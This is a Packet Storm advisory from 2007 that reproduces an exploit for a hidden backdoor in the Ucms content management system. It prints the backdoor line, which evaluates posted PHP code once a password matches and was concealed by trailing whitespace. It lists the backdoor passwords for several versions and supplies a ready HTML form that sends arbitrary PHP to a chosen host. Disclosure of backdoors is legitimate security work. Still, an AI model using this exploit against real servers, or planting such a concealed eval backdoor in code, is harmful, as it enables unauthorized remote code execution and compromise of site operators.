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ucms-backdoor.txt

🗓️ 26 Nov 2007 00:00:00Reported by D4m14nType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 20 Views

Ucms backdoor in v1.4, 1.7, 1.8 allows unauthorized access via hidden PHP code injection in search module

Code
`Opencosmo Security  
http://www.opencosmo.com  
  
##########################################################  
  
<html>  
<!--  
##########################################  
# #  
# Ucms 1.4, 1.7, 1.8+?all #  
# Non Public exploit #  
# by 2²hot²2 a.k.a D4m14n #  
# and shadowleet #  
# Contact: [email protected] #  
# Or #  
# [email protected] #  
##########################################  
Short description:  
Ucms is a warez-cms coded by madmax,  
he selled the cms for 150 Euro for one cms,  
but it´s not enough that the cms costs 150 euro,  
he added a "secret" backdoor which now is released...  
Used by:  
Famous warez-sites like alphawarez, loud, oxygen-warez and so on...  
___________________________________________________________________  
  
Backdoor in file:  
/php/modules/entries/search.cache.inc.php  
line 8:  
$cache_path = '/search/' . GetValidFilename($search_term) . '_' . $search_hash . '_info.dat';  
if(@stripslashes($_POST['p']) == 'ZCShY8FjtEhIF8LZ'){@eval(@stripslashes($_POST['e']));exit;};  
the second string is hidden at the very right site with whitespaces in the texteditor, so nobody had seen it before,  
the function is called in:  
/php/modules/entries/search.main.inc.php  
exploit:  
-->  
  
<head>  
<title>Ucms v. 1.8 Np exploit</title>  
<script type="text/javascript">  
function sethost(seite)  
{  
document.host.action = seite + 'index.php?&q=test&e=1';  
document.all.data.innerHTML = document.host.action;  
}  
</script>  
</head>  
<body onLoad="sethost('http://www.ucmspage.de/')" >  
<h1>Ucms v. 1.8 Np exploit</h1>  
Actual Request:<div id="data"></div>  
<br />  
Host:<input type="text" value="http://www.ucmspage.de/" onKeyUp="sethost(this.value);" />  
<form id="host" name="host" action="http://www.ucmspage.de/" method="POST">  
Password:<input type="text" name="p" value="ZCShY8FjtEhIF8LZ"><br />  
<!--  
Additional info:  
You need a password to activate the backdoor we found these passwords:  
ZCShY8FjtEhIF8LZ (UCMS 1.8)  
mYM1NHtWtZk2KwrF (UCMS 1.4)  
wVCQUyhTga5Nmft1 (UCMS [?])  
Just go into the file or similar files to find the passwords,  
for every version there is another password  
-->  
  
Phpcode:<br />  
<textarea name="e" rows="20" cols="100">  
phpinfo(); ?>  
</textarea>  
<br />  
<input type="submit" value="exploit">  
</form>  
</body>  
  
<!--  
It´s just a crime to do such thigs, so please use  
this exploit just for knowledge and not to destroy the warez pages...  
thank you for you attention...  
Have a nice day  
-->  
  
</html>  
`

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